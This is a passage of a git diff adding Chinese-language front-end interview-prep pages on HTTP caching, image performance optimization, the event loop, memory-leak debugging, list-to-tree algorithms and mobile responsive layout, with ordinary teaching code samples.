    • Push Cache(推送缓存)(HTTP/2.0)。
    • 优先级 Service Worker > memory cache > disk cache > Push Cache。
  • 最佳实践:资源尽可能命中强缓存,且在资源文件更新时保证用户使用到最新的资源文件
    • 强缓存只会命中相同命名的资源文件。
    • 在资源文件上加 hash 标识(webpack 可在打包时在文件名上带上)。
    • 通过更新资源文件名来强制更新命中强缓存的资源。

3. 协商缓存#

3.1 ETag / If-None-Match#

  • 通过唯一标识来验证缓存。
  • 优先级高于 Last-Modified / If-Modified-Since。

如果资源请求的响应头里含有 ETag,客户端可以在后续的请求的头中带上 If-None-Match 头来验证缓存。若服务器判断资源标识一致,则返回 304 状态码告知浏览器可从本地读取缓存。

唯一标识内容是由服务端生成算法决定的,可以是资源内容生成的哈希值,也可以是最后修改时间戳的哈希值。所以 Etag 标识改变并不代表资源文件改变,反之亦然。

3.2 Last-Modified / If-Modified-Since#

  • 通过资源的最后修改时间来验证缓存。
  • 优先级低于 ETag / If-None-Match。
  • 缺点:只能精确到秒,若 1s 内多次修改资源 Last-Modified 不会变化。

如果资源请求的响应头里含有 Last-Modified,客户端可以在后续的请求的头中带上 If-Modified-Since 头来验证缓存。若服务器判断资源最后修改时间一致,则返回 304 状态码告知浏览器可从本地读取缓存。

3.3 拓展知识(冷门考点)#

  • ETag 在标识前面加 W/ 前缀表示用弱比较算法(If-None-Match 本身就只用弱比较算法)。
  • ETag 还可以配合 If-Match 检测当前请求是否为最新版本,若资源不匹配返回状态码 412 错误。(If-Match 不加 W/ 时使用强比较算法)。

4. 缓存的优缺点#

优点

  • 节省了不必要的数据传输,节省带宽。
  • 减少服务端的负担,提高网站性能。
  • 降低网络延迟,加快页面响应速度,增强用户体验。

缺点

  • 不恰当的缓存设置可能会导致资源更新不及时,导致用户获取信息滞后。

参考资料#

  1. HTTP Caching
Loading script...
+ + + + \ No newline at end of file diff --git a/book2/topic-multi-pics-site-optimize/index.html b/book2/topic-multi-pics-site-optimize/index.html new file mode 100644 index 0000000..08ff675 --- /dev/null +++ b/book2/topic-multi-pics-site-optimize/index.html @@ -0,0 +1,20 @@ + + + + + + +多图站点性能优化 | HZFE - 剑指前端 Offer + + + + +
+

多图站点性能优化

回答关键点#

图片优化 传输优化 加载策略

提高网站性能的一项重要指标是提高访问速度,这与用户留存率和转换率呈正相关。根据 HTTPArchive 的数据可知,图像是大多数网站需求最多的资源类型,通常比其他资源占用更多带宽。在多图站点中,图片资源对于页面的加载和整体的用户体验有更明显的影响。最常见的问题是图片加载慢。对应的优化策略包括:

  • 图片优化:进行图片压缩/缩放和选择正确的图片格式。
  • 网络传输优化:使用 HTTP/2 和 CDN 服务。
  • 图片加载策略优化:按需使用懒加载、预加载,响应式图片加载等策略。

知识点深入#

1. 图片优化#

1.1 选择合适的图片格式#

为控制篇幅,以下提到的图片格式,为截止至 2021 年 8 月,市场份额大于 0.1% 的格式。

  1. JPEG 的压缩效率高,是一种高效且轻巧的有损压缩图片格式。但不适合对矢量或对比度强的图像压缩,会有明显的图片质量下降。超过一定的压缩阈值,压缩的图像也会出现明显的图片质量下降。

  2. PNG 是一种无损压缩的高保真图片格式。相比 JPEG 有更强色彩表现力,且支持透明通道。

  3. GIF 是一种最多支持 256 种颜色的 8 位无损图片格式,支持动图。

  4. WebP 是一种同时提供有损压缩与无损压缩的图片格式。不仅支持透明图片,有优秀的色彩表现,也能支持动画。支持无损压缩且通常比 PNG 格式的相同图像小 26%。支持有损压缩且比视觉上相似压缩水平的 JPEG 图像平均小 25-35%。但是浏览器兼容性差。

  5. SVG 是一种基于 XML 语法的图像格式,全称是可缩放矢量图(Scalable Vector Graphics)。适合非照片类型的图片的缩放或高保真场景。

图中所示为 2012 年 1 月至 2021 年 8 月的主流图片格式的使用趋势。

image

图片来源 w3techs.com

按需选择更高效的图片格式,不仅能提升用户视觉体验,也可以提升网站加载效率。在选用图片格式时,一般可以基于一些简单规则来筛选:在兼容性支持的情况下,可以选用 WebP,否则可以通过动图和透明度两个需求点来进行筛选:

  • 动图

    可以使用 GIF 或者是视频格式。前者的问题在于支持的色彩少,低帧率低分辨率,文件体积利用率低,而视频方案则可以避免这些问题。也可以使用 APNG,支持更多色彩的前提下,和对应 GIF 格式的文件体积相近。

  • 透明度

    PNG 和 GIF 都支持透明图片,可以按需使用。

在没有透明和动画需求的情况下,JPEG 格式图片胜任大部分场景,如果对图片的展示质量有较高要求时,可使用 PNG 格式图片。

绘制 LOGO、ICON 等非照片的图片内容时,一般使用 SVG 格式。比如 iconfont 等矢量图标管理平台中大量使用 SVG 格式。

1.2 图片压缩和缩放处理#

由于实际应用场景的差异,对应图片的布局大小以及图片细节要求各有不同,大量未经压缩或缩放调整的图片会使网页加载许多不必要的字节,且对用户的视觉效果没有太大的提升。前端常见的压缩和缩放的处理方案包括:

  • 静态资源通过工具(比如 imagemin)按需进行有损或无损压缩。
  • 将用户上传的图片绘制到 Canvas 画布上,利用CanvasRenderingContext2D.drawImage(image, dx, dy, dWidth, dHeight) API 进行图片缩放;利用 HTMLCanvasElement.toDataURL(type, encoderOptions) API 进行有损压缩。
  • 根据用户侧的显示需求(如头像、缩略图、商品图等),通过对象存储服务(如七牛、阿里云 OSS)所提供的压缩或缩放等功能处理后返回使用。

2. 网络传输优化#

2.1 使用 HTTP/2 协议#

使用 HTTP/1.X 协议时,浏览器有同源最大并发连接数的限制,且 HTTP/1.X 不支持多路复用,因此一个多图站点想要获得较完整的视觉呈现,会有一定程度的延迟:所有的资源请求(包括图片资源)会进入先进先出(FIFO)队列等待被下载。

image

使用 HTTP/2 前的常见优化方案包括:

  • 使用精灵图 / 雪碧图,减少 HTTP 请求数。
  • 10kb 大小以内的图片资源使用 base64 编码,减少 HTTP 请求数。
  • 通过使用多个域名,开启多个 TCP 连接,突破浏览器同源最大并发连接数的限制。

由于 HTTP/2 支持多路复用,因此使用 HTTP/2 可以进一步减少网络延迟,更加快速的加载图片资源。

如下图所示,观察 Connection ID 一列可知,使用 HTTP/2 的情况下,资源重用同一条 TCP 连接,并发请求大量图片资源。

image

2.2 使用 CDN#

CDN 将源站资源缓存到各加速节点后,用户请求源站资源时无需回源,可就近获取 CDN 节点上已缓存的资源,从而提高资源访问速度,分担源站压力。常见的 CDN 服务还支持对图片进行压缩、缩放、裁剪等图像处理功能。

3. 图片加载策略优化#

3.1 图片懒加载#

懒加载的策略是推迟加载离屏图片资源,从而减少资源请求数。实现懒加载的主流方案有:

  • 使用 img 标签的 loading 属性。
  • 使用 Intersection Observer API。
  • 使用 scroll、resize 和 orientationchange 事件。

后两种方案的实现原理是通过在 img 标签上添加 data-src 或其他自定义属性存放图片链接,而 src 属性不被设置或设置为占位图链接。通过 Intersection Observer 或 scroll 等 API 检测离屏图片是否滚动到预期位置,如果是则将 data-src 的值赋给 src 属性,从而达到懒加载的目的。

一般使用图片懒加载时,图片的占位处会使用各种方式来提升用户体验:

  • 色块 / 骨架屏占位。
  • LOGO 等品牌元素做默认图片。
  • 使用图片缩略图做模糊效果占位。

img loading

从 Chrome 76+ 版本起,开发者可以使用 loading 属性来推迟加载可通过滚动进入视口内的离屏图像。通过给 loading 属性设置 lazy 值,可以推迟加载资源,直到它与视口达到一定距离。caniuse.com 可查阅跨浏览器兼容性支持的详细信息。不支持 loading 属性的浏览器会忽略该属性,不会产生副作用。

<img src="image.png" loading="lazy" alt="" width="200" height="200" />

Intersection Observer

Intersection Observer API 可用于异步观察目标元素与祖先元素或与顶级文档视口的交叉点变化。

<img data-src="https://hzfe-blah.com/anyphoto1.jpg" /><img data-src="https://hzfe-blah.com/anyphoto2.jpg" />
const config = {  /** any option */};
+const observer = new IntersectionObserver(function (entries, self) {  entries.forEach(({ isIntersecting, target }) => {    if (isIntersecting) {      if (target.dataset.src) {        target.src = target.dataset.src;        target.removeAttribute("data-src");      }
+      self.unobserve(target);    }  });}, config);
+const images = document.querySelectorAll("[data-src]");images.forEach((image) => {  observer.observe(image);});

scroll

如果 Intersection Observer 存在兼容性问题,除了可以添加对应 polyfill 之外,也可以考虑降级为监听 scroll、resize、orientationchange 事件的方案。实现思路和 Intersection Observer 一致。具体细节上,需要自行计算图片节点与目标视口的纵向或横向距离,且需使用节流函数来避免性能问题。

3.2 图片预加载#

图片预加载机制是为了增强用户体验,尽快地加载出图片,使得用户体验更为流畅。

如果预加载的图片是确切且有限的,可以通过硬编码 link 标签来实现预加载。但是多数情况下,预加载的使用场景是动态的。

link

<link rel="preload"> 允许开发者在 HTML 的 head 标签中声明资源请求,指定页面需要预加载的资源,并且在浏览器的主要渲染机制启动之前加载,避免阻塞页面渲染且保证资源尽早可用。

<link rel="preload" as="image" href="important.png" />

动态场景

一般常见方案是动态创建 Image 标签或者是 Ajax 请求。使用 Ajax 时需要注意可能存在跨域问题。

// 动态创建 Imagefunction preloadImage(url) {  var img = new Image();  img.src = url;}

3.3 响应式图片加载#

由于用户终端设备不同,如果图片资源无差别使用相同图片,可能造成带宽浪费或者是图片不清晰以及视觉体验差的问题。

一般可以通过使用 picture 标签来定义零或多个 source 节点和一个 img 节点,用于提供图片在不同设备/显示场景下对应的内容展示。picture 的常见作用包括:

  • 艺术指导(Art direction)

    为不同的媒体条件裁剪或修改图像。比如在较小的显示器上,加载一个更突出重点的图像。

    38666B5C621028DD6F3050D95EF1889E

    <picture>  <source srcset="hzfe-avatar-desktop.png" media="(min-width: 990px)" />  <source srcset="hzfe-avatar-tablet.png" media="(min-width: 750px)" />  <img src="hzfe-avatar.png" alt="hzfe-default-avatar" /></picture>
  • 提供图片格式回退方案

    在支持的浏览器中优先使用更适合的图片格式,比如 WebP 等。同时支持在有兼容性问题的浏览器中回退加载其他格式的图片。

    <picture>  <source srcset="hzfe-avatar.webp" type="image/webp" />  <source srcset="hzfe-avatar.jpg" type="image/jpeg" />  <img src="hzfe-avatar.jpg" alt="hzfe-default-avatar" /></picture>
  • 节省带宽并提升页面加载速度

    通过按需加载并显示最适合用户设备的图像,从而节省带宽和加快页面加载时间。

    <picture>  <source    srcset="hzfe-avatar-desktop.png, hzfe-avatar-desktop-2x.png 2x"    media="(min-width: 990px)"  />  <source    srcset="hzfe-avatar-tablet.png, hzfe-avatar-tablet-2x.png 2x"    media="(min-width: 750px)"  />  <img    srcset="hzfe-avatar.png, hzfe-avatar-2x.png 2x"    src="hzfe-avatar.png"    alt="hzfe-default-avatar"  /></picture>

参考资料#

  1. image types
  2. Fast load times
  3. Usage statistics of WebP for websites
  4. Browser-level image lazy-loading for the web
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/algorithm-binary-tree-k/index.html b/book3/algorithm-binary-tree-k/index.html new file mode 100644 index 0000000..3539314 --- /dev/null +++ b/book3/algorithm-binary-tree-k/index.html @@ -0,0 +1,17 @@ + + + + + + +二叉搜索树的第 k 大的节点 | HZFE - 剑指前端 Offer + + + + +
+

二叉搜索树的第 k 大的节点

题目描述#

给定一棵二叉搜索树,请找出其中第 k 大的节点。

示例 1:

输入: root = [3,1,4,null,2], k = 1   3  / \ 1   4  \   2输出: 4

示例 2:

输入: root = [5,3,6,2,4,null,null,1], k = 3       5      / \     3   6    / \   2   4  / 1输出: 4

解题基本知识#

二叉搜索树(Binary Search Tree)又名二叉查找树、二叉排序树。它是一棵空树,或者是具有下列性质的二叉树: 若它的左子树不空,则左子树上所有结点的值均小于它的根结点的值; 若它的右子树不空,则右子树上所有结点的值均大于它的根结点的值; 它的左、右子树也分别为二叉排序树。

解法#

在线链接

利用二叉搜索树的特性进行中序遍历。先遍历左节点,然后根节点,最后遍历右节点,得到的是一个递增序列,那么序列的倒序为递减序列。因此这道题我们可以转变为求二叉搜索树中序遍历倒序的第 k 个数。

解法图示

/** * Definition for a binary tree node. * function TreeNode(val) { *     this.val = val; *     this.left = this.right = null; * } *//** * @param {TreeNode} root * @param {number} k * @return {number} */const kthLargest = (root, k) => {  let res = null; // 初始化返回值  // 因为需要倒序第 k 个,所以处理是右节点,根节点,然后左节点  const dfs = (root) => {    if (!root) return; // 如果当前节点为 null,本轮处理结束    dfs(root.right); // 开始处理右节点    if (k === 0) return; // k 值 为 0,代表已经处理的节点超过目标节点,本轮处理结束    if (--k === 0) {      // 当 k 值 减 1 为 0,表示已经到了我们想要的 k 大 节点,保存当前值      res = root.val;    }    dfs(root.left); // 处理左节点  };  dfs(root); // 从初始化节点开始处理  return res;};

复杂度分析:#

  • 时间复杂度 O(N):无论 k 的值大小,递归深度都为 N,占用 O(N) 时间。
  • 空间复杂度 O(N):无论 k 的值大小,递归深度都为 N,占用 O(N) 空间。

参考资料#

  1. 剑指 offer
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/browser-event-loop/index.html b/book3/browser-event-loop/index.html new file mode 100644 index 0000000..22fa2c7 --- /dev/null +++ b/book3/browser-event-loop/index.html @@ -0,0 +1,17 @@ + + + + + + +浏览器事件循环 | HZFE - 剑指前端 Offer + + + + +
+

浏览器事件循环

相关问题#

  • 什么是浏览器事件循环
  • 浏览器为什么需要事件循环
  • Node.js 中的事件循环

回答关键点#

任务队列 异步 非阻塞

浏览器需要事件循环来协调事件、用户操作、脚本执行、渲染、网络请求等。通过事件循环,浏览器可以利用任务队列来管理任务,让异步事件非阻塞地执行。每个客户端对应的事件循环是相对独立的。

知识点深入#

1. 什么是浏览器事件循环#

在计算机中,Event Loop 是一个程序结构,用于等待和发送消息和事件。 —— 维基百科

Event Loop 可以理解为一个消息分发器,通过接收和分发不同类型的消息,让执行程序的事件调度更加合理。

浏览器事件循环是以浏览器为宿主环境实现的事件调度,操作顺序如下:

  1. 执行同步代码。
  2. 执行一个宏任务(执行栈中没有就从任务队列中获取)。
  3. 执行过程中如果遇到微任务,就将它添加到微任务的任务队列中。
  4. 宏任务执行完毕后,立即执行当前微任务队列中的所有微任务(依次执行)。
  5. 当前宏任务执行完毕,开始检查渲染,然后渲染线程接管进行渲染。
  6. 渲染完毕后,JavaScript 线程继续接管,开始下一个循环。

下图展示了这个过程:

browser event loop

图片来源 JS CONF EU 2014

2. 浏览器为什么需要事件循环#

由于 JavaScript 是单线程的,且 JavaScript 主线程和渲染线程互斥,如果异步操作(如上图提到的 WebAPIs)阻塞 JavaScript 的执行,会造成浏览器假死。而事件循环为浏览器引入了任务队列(task queue),使得异步任务可以非阻塞地进行。

浏览器事件循环在处理异步任务时不会一直等待其返回结果,而是将这个事件挂起,继续执行栈中的其他任务。当异步事件返回结果,将它放到任务队列中,被放入任务队列不会立刻执行回调,而是等待当前执行栈中所有任务都执行完毕,主线程处于空闲状态,主线程会去查找任务队列中是否有任务,如果有,取出排在第一位的事件,并把这个事件对应的回调放到执行栈中,执行其中的同步代码。

3. 宏任务与微任务#

异步任务被分为两类:宏任务(macrotask)与微任务(microtask),两者的执行优先级也有所区别。

宏任务主要包含:script(整体代码)、setTimeout、setInterval、setImmediate、I/O、UI 交互事件。

微任务主要包含:Promise、MutationObserver 等。

在当前执行栈为空的时候,主线程会查看微任务队列是否有事件存在。如果不存在,那么再去宏任务队列中取出一个事件并把对应的回调加入当前执行栈;如果存在,则会依次执行队列中事件对应的回调,直到微任务队列为空,然后去宏任务队列中取出最前面的一个事件,把对应的回调加入当前执行栈。如此反复,进入循环。下面通过一个具体的例子来进行分析:

Promise.resolve().then(() => {  // 微任务1  console.log("Promise1");  setTimeout(() => {    // 宏任务2    console.log("setTimeout2");  }, 0);});setTimeout(() => {  // 宏任务1  console.log("setTimeout1");  Promise.resolve().then(() => {    // 微任务2    console.log("Promise2");  });}, 0);

最后输出顺序为:Promise1,setTimeout1,Promise2,setTimeout2。具体流程如下:

  1. 同步任务执行完毕。微任务 1 进入微任务队列,宏任务 1 进入宏任务队列。
  2. 查看微任务队列,微任务 1 执行,打印 Promise1,生成宏任务 2,进入宏任务队列。
  3. 查看宏任务队列,宏任务 1 执行,打印 setTimeout1,生成微任务 2,进入微任务队列。
  4. 查看微任务队列,微任务 2 执行,打印 Promise2。
  5. 查看宏任务队列,宏任务 2 执行,打印 setTimeout2。

4. Node.js 中的事件循环#

在 Node.js 中,事件循环表现出的状态与浏览器中大致相同。不同的是 Node.js 中有一套自己的模型。 Node.js 中事件循环的实现是依靠的 libuv 引擎。下图简要介绍了事件循环操作顺序:

node event loop

图片来源 Node.js 官网

  1. timers:本阶段执行已经被 setTimeout() 和 setInterval() 的调度回调函数。
  2. pending callbacks:执行延迟到下一个循环迭代的 I/O 回调。
  3. idle、prepare:仅系统内部使用。
  4. poll:检索新的 I/O 事件;执行与 I/O 相关的回调(几乎所有情况下,除了关闭的回调函数,那些由计时器和 setImmediate() 调度的之外),其余情况 node 将在适当的时候在此阻塞。
  5. check:setImmediate() 回调函数在这里执行。
  6. close callbacks:一些关闭的回调函数,如:socket.on('close', ...)。

在每次运行的事件循环之间,Node.js 检查它是否在等待任何异步 I/O 或计时器,如果没有的话,则完全关闭。

参考资料#

  1. whatwg event loops
  2. wikipedia event loops
  3. Node.js event loops
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/browser-memory-leaks/index.html b/book3/browser-memory-leaks/index.html new file mode 100644 index 0000000..50eda67 --- /dev/null +++ b/book3/browser-memory-leaks/index.html @@ -0,0 +1,21 @@ + + + + + + +如何定位内存泄露 | HZFE - 剑指前端 Offer + + + + +
+

如何定位内存泄露

相关问题#

  • 垃圾回收机制

回答关键点#

垃圾回收 DevTools

内存泄漏是指不再使用的内存,没有被垃圾回收机制回收。当内存泄漏很大或足够频繁时,用户会有所感知:轻则影响应用性能,表现为迟缓卡顿;重则导致应用奔溃,表现为无法正常使用。为了避免内存泄漏带来的不良影响,需要对垃圾回收机制进行了解,掌握内存泄漏分析方法,完善线上相关监控措施。

内存泄漏定位和分析一般需要辅助工具,比如 Chrome DevTools。开发者可以通过 DevTools 记录页面活动概况,生成可视化分析结果,从时间轴中直观了解内存泄漏情况;利用 DevTools 获取若干次内存快照,检查内存堆栈变化;以及使用 Chrome 任务管理器,实时监控内存的使用情况。

知识点深入#

1. 排查内存泄漏常见问题#

在 JavaScript 中,当一些不再需要的数据仍然可达时,V8 会认为这些数据仍在被使用,不会释放内存。为了调试内存泄漏,我们需要找到被错误保留的数据,并确保 V8 能够将其清理掉。

代码量较小时,开发者通常可以基于以下基本原则进行快速自查:

  1. 是否滥用全局变量,没有手动回收。
  2. 是否没有正确销毁定时器、闭包。
  3. 是否没有正确监听事件和销毁事件。

除此之外,开发者可以借助外部工具进行内存泄漏排查。

2. 使用 Chrome DevTools 定位内存泄漏#

Performance#

image

打开准备分析的页面和 DevTools 的 Performance 面板,勾选 Memory 并开始录制,在模拟用户操作一段时间后结束录制,DevTools 会将这段时间内的页面行为活动进行记录和分析。

通过生成的结果可以直观查看到内存时间线,了解内存随时间的占用变化,如果内存占用曲线成阶梯状一直上升,则可能存在内存泄漏。按需选取时间线中的区域片段,检查对应时间段内的活动类型和时间占用,作为排查和定位内存泄漏的辅助办法。

Memory#

image

打开准备分析的页面和 DevTools 的 Memory 面板,按需生成快照。每个快照的内容是快照时刻,进行一次垃圾回收后,应用中所有可达的对象。

当开发者明确知道与内存泄漏关联的用户交互步骤时,可以生成多次内存快照进行对比,排查出泄漏的对象:在做用户交互操作之前,进行一次正常内存堆栈信息的快照;在做用户交互操作中或操作结束时,进行内存快照。使用 Comparison 视图或使用 filter 按需查看快照之间的差异。

上面的图中使用 filter 检查快照 2 和快照 3 的差异,通过结果可知在两个快照之间持续被分配 clickCallback 闭包。通过点击文件路径可以定位到内存泄漏的代码。

image

3. Node.js 中的内存泄漏定位#

如果需要定位 Node.js 中的内存泄漏,启动 Node.js 时带上 --inspect 参数,以便利用 Chrome DevTools 工具生成 Memory 快照数据。如图所示,启动 Node.js 服务后,打开 Chrome DevTools,会有 Node 标识,点击可以打开 Node 专用 DevTools。

image

除此之外,也可以借助第三方包 heapdump 生成快照文件,导入至 Chrome DevTools 中的 Memory 进行快照对比。

启动 Node.js 时带上 --expose-gc 参数以便调用 global.gc() 方法触发垃圾回收。借助 process.memoryUsage().heapUsed 检查内存大小,作为内存泄漏的辅助判断。

const heapdump = require("heapdump");
+const capture = function () {  global.gc();  heapdump.writeSnapshot("./HZFE_HEAPSNAPSHOT/" + Date.now() + ".heapsnapshot");  console.log("heapUsed:", process.memoryUsage().heapUsed);};
+capture();
+/* 可能有内存泄漏的代码片段 start */// code/* 可能有内存泄漏的代码片段 end */
+capture();

参考资料#

  1. Chrome DevTools
  2. Fix memory problems
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/coding-arr-to-tree/index.html b/book3/coding-arr-to-tree/index.html new file mode 100644 index 0000000..bd8d169 --- /dev/null +++ b/book3/coding-arr-to-tree/index.html @@ -0,0 +1,31 @@ + + + + + + +将列表还原为树状结构 | HZFE - 剑指前端 Offer + + + + +
+

将列表还原为树状结构

需求来源分析:

在需要存储树结构的情况下,一般由于使用的关系型数据库(如 MySQL),是以类似表格的扁平化方式存储数据。因此不会直接将树结构存储在数据库中,通常是通过邻接表、路径枚举、嵌套集或闭包表来存储。

其中,邻接表是最常用的方案之一,其存储模型如下:

idpiddata
10a
21b
31c

该模型代表了如下的树状结构:

{  id: 1,  pid: 0,  data: 'a',  children: [    {id: 2, pid: 1, data: 'b'},    {id: 3, pid: 1, data: 'c'},  ]}

大部分情况下,会交给应用程序来构造树结构。

典型题目#

const list = [  { pid: null, id: 1, data: "1" },  { pid: 1, id: 2, data: "2-1" },  { pid: 1, id: 3, data: "2-2" },  { pid: 2, id: 4, data: "3-1" },  { pid: 3, id: 5, data: "3-2" },  { pid: 4, id: 6, data: "4-1" },];

解法#

解法一#

递归解法:该方法简单易懂,从根节点出发,每一轮迭代找到 pid 为当前节点 id 的节点,作为当前节点的 children,递归进行。

function listToTree(  list,  pid = null,  { idName = "id", pidName = "pid", childName = "children" } = {}) {  return list.reduce((root, item) => {    // 遍历每一项,如果该项与当前 pid 匹配,则递归构建该项的子树    if (item[pidName] === pid) {      const children = listToTree(list, item[idName]);      if (children.length) {        item[childName] = children;      }      return [...root, item];    }    return root;  }, []);}

时间复杂度分析:最坏的情况下,这棵树退化为链表,且倒序排列。每一轮迭代需要在最后面才找到目标节点。假设有 n 个元素,那么总迭代次数为 n+(n-1) + (n-2) + ... + 1,时间复杂度为 O(n^2)。

解法二#

迭代法:利用对象在 js 中是引用类型的原理。第一轮遍历将所有的项,将项的 id 与项自身在字典中建立映射,为后面的立即访问做好准备。 +由于操作的每一项都是对象,结果集 root 中的每一项和字典中相同 id 对应的项实际上指向的是同一块数据。后续的遍历中,直接对字典进行操作,操作同时会反应到 root 中。

function listToTree(  list,  rootId = null,  { idName = "id", pidName = "pid", childName = "children" } = {}) {  const record = {}; // 用空间换时间,用于将所有项的 id 及自身记录到字典中  const root = [];
+  list.forEach((item) => {    record[item[idName]] = item; // 记录 id 与项的映射    item[childName] = [];  });
+  list.forEach((item) => {    if (item[pidName] === rootId) {      root.push(item);    } else {      // 由于持有的是引用,record 中相关元素的修改,会在反映在 root 中。      record[item[pidName]][childName].push(item);    }  });
+  return root;}

record 字典 与 root 结果集的参考内存引用关系如图所示:

image

时间复杂度分析:经历了两轮迭代,假设有 n 个元素,那么总迭代次数为 n + n,时间复杂度为 O(n)。

解法二变体#

变体一#

在解法二的基础上,将两轮迭代合并成一轮迭代。采用边迭代边构建的方式:

function listToTree(  list,  rootId = null,  { idName = "id", pidName = "pid", childName = "children" } = {}) {  const record = {}; // 用空间换时间,用于将所有项的 id 及自身记录到字典中  const root = [];
+  list.forEach((item) => {    const id = item[idName];    const parentId = item[pidName];
+    // 如果该项不在 record 中,则放入 record。如果该项已存在 (可能由别的项构建 pid 加入),则合并该项和已存在的数据    record[id] = !record[id] ? item : { ...item, ...record[id] };
+    const treeItem = record[id];
+    if (parentId === rootId) {      // 如果是根元素,则加入结果集      root.push(treeItem);    } else {      // 如果父元素不存在,则初始化父元素      if (!record[parentId]) {        record[parentId] = {};      }      // 如果父元素没有 children, 则初始化      if (!record[parentId][childName]) {        record[parentId][childName] = [];      }
+      record[parentId][childName].push(treeItem);    }  });
+  return root;}

时间复杂度分析:经历了一轮迭代,假设有 n 个元素,那么时间复杂度为 O(n)。

变体二#

record 字典仅记录 id 与 children 的映射关系,代码更精简:

function listToTree(  list,  rootId = null,  { idName = "id", pidName = "pid", childName = "children" } = {}) {  const record = {}; // 用空间换时间,仅用于记录 children  const root = [];
+  list.forEach((item) => {    const newItem = Object.assign({}, item); // 如有需要,可以复制 item ,可以不影响 list 中原有的元素。    const id = newItem[idName];    const parentId = newItem[pidName];
+    // 如果当前 id 的 children 已存在,则加入 children 字段中,否则,初始化 children    // item 与 record[id] 引用同一份 children,后续迭代中更新 record[parendId] 就会反映到 item 中    newItem[childName] = record[id] ? record[id] : (record[id] = []);
+    if (parentId === rootId) {      root.push(newItem);    } else {      if (!record[parentId]) {        record[parentId] = [];      }      record[parentId].push(newItem);    }  });
+  return root;}

时间复杂度分析:经历了一轮迭代,假设有 n 个元素,那么时间复杂度为 O(n)。

代码演示及总结#

Code Sandbox - List to Tree

  • 递归法:在数据量增大的时候,性能会急剧下降。好处是可以在构建树的过程中,给节点添加层级信息。
  • 迭代法:速度快。但如果想要不影响源数据,需要在 record 中存储一份复制的数据,且无法在构建的过程中得知节点的层级信息,需要构建完后再次深度优先遍历获取。
  • 迭代法变体一:按需创建 children,可以避免空的 children 列表。
Loading script...
+ + + + \ No newline at end of file diff --git a/book3/css-mobile-adaptive/index.html b/book3/css-mobile-adaptive/index.html new file mode 100644 index 0000000..9af956a --- /dev/null +++ b/book3/css-mobile-adaptive/index.html @@ -0,0 +1,18 @@ + + + + + + +移动端自适应的常见手段 | HZFE - 剑指前端 Offer + + + + +
+

移动端自适应的常见手段

相关问题#

  • 介绍 meta 的 viewport 值
  • rem 和 vw 的值是根据什么计算的
  • 1px 显示问题
  • 如何适配刘海屏

回答关键点#

viewport 相对单位 媒体查询 响应式图片

移动端开发的主要痛点是如何让页面适配各种不同的终端设备,使不同的终端设备都拥有基本一致的视觉效果和交互体验。移动端常见的适配方案有以下几种,一般都是互相搭配使用。包括:

  • 视口元信息配置
  • 响应式布局
  • 相对单位
  • 媒体查询
  • 响应式图片
  • 安全区域适配

知识点深入#

1. 相关概念#

1.1 像素#

image

分辨率(Resolution)

分辨率是指位图图像中细节的精细程度,以每英寸像素(ppi)衡量。每英寸的像素越多,分辨率就越高。

物理像素(Physical pixels)

物理像素是一个设备的实际像素数。

逻辑像素(Logical pixels)

是一种抽象概念。在不同的设备下,一个逻辑像素代表的物理像素数不同。CSS 像素是逻辑像素。

为了在不同尺寸和密度比的设备上表现出一致的视觉效果,使用逻辑像素描述一个相同尺寸的物理单位。在具有高密度比的屏幕下,一个逻辑像素对应多个物理像素。

设备像素比(Device Pixel Ratio)

当前显示设备的物理像素分辨率与 CSS 像素分辨率之比。

相关问题:图片或 1px 边框显示模糊

在移动端中,常见图片或者 1px 的边框在一些机型下显示模糊/变粗的问题。基于对像素相关的概念理解,可知 CSS 中的 1px 是指一个单位的逻辑像素。一个单位的逻辑像素映射到不同像素密度比的设备下,实际对应的物理像素不同。

因此,同样尺寸的图片在高密度比的设备下,由于一个位图像素需要应用到多个物理像素上,所以会比低密度比设备中的视觉效果模糊。

1.2 视口#

image

视口(viewport)

视口一般是指用户访问页面时,当前的可视区域范围。通过滚动条滑动,视口可以显示页面的其他部分。在 PC 端上,<html> 元素的宽度被设置为 100% 时,等同于视口大小,等同于浏览器的窗口大小。通过 document.documentElement.clientWidthwindow.innerWidth 可以获取视口宽度。CSS 布局基于视口大小进行计算。

由于移动设备尺寸较小,如果基于浏览器窗口大小的视口进行布局,会导致一些没有适配过移动设备样式的站点布局错乱,用户体验差。为了让移动端也能正常显示未适配移动设备的页面,从而引入布局视口和视觉视口的概念。

布局视口(layout viewport)

布局视口的宽度默认为 980px,通常比物理屏幕宽。CSS 布局会基于布局视口进行计算。移动设备的浏览器基于虚拟的布局视口去渲染网页,并将对应的渲染结果缩小以便适应设备实际宽度,从而可以完整的展示站点内容且不破坏布局结构。

视觉视口(visual viewport)

视觉视口是布局视口的当前可见部分。用户可以通过缩放来查看页面内容,从而改变视觉视口,但不影响布局视口。

2. 使用 viewport 元标签配置视口#

开发者可以通过 <meta name="viewport"> 对移动端的布局视口进行设置。如果不进行 viewport 元标签的设置,可能会导致开发者设定的较小宽度的媒体查询永远不会被使用,因为默认的布局视口宽度为 980px。

<!-- width 属性控制视口的大小。device-width 值指代设备屏幕宽度。 --><!-- initial-scale 属性控制页面首次加载时的缩放级别。--><meta name="viewport" content="width=device-width, initial-scale=1.0" />

3. 使用现代响应式布局方案#

除了使用浮动布局和百分比布局外,目前比较常见的是使用 Flexbox 或 CSS Grid 来实现灵活的网格布局。可以根据以下条件来选择布局方案:

  1. 需要一维还是二维布局:Flexbox 基于一条主轴方向进行布局。CSS Grid 可划分为行和列进行布局。如果只需要按照行或列进行布局则使用 Flexbox;如果需要同时按照行和列控制布局则使用 CSS Grid。

  2. 专注布局结构还是内容流:Flexbox 专注于内容流。Flex Item 的宽度或高度由项目中的内容决定。Flex Item 根据其内部内容和可用空间进行增长和缩小。CSS Grid 专注于精确的内容布局结构规则。每个 Grid Item 都是一个网格单元,沿水平轴和垂直轴排列。如果允许内容灵活的分配空间则使用 Flexbox;如果需要准确控制布局中项目的位置则使用 CSS Grid。

image

4. 使用媒体查询(Media Queries)#

媒体查询允许开发者根据设备类型和特征(如屏幕分辨率或浏览器视口宽度)来按需设置样式。

/* 当浏览器宽度至少在 600px 及以上时 */@media screen and (min-width: 600px) {  .hzfe {    /* 对 .hzfe 应用某些样式  */  }}
+/* 当设备 DPR 为2时的样式 */@media screen and (-webkit-min-device-pixel-ratio: 2) {  .border-1 {    border-width: 0.5px;  }}

5. 使用相对单位#

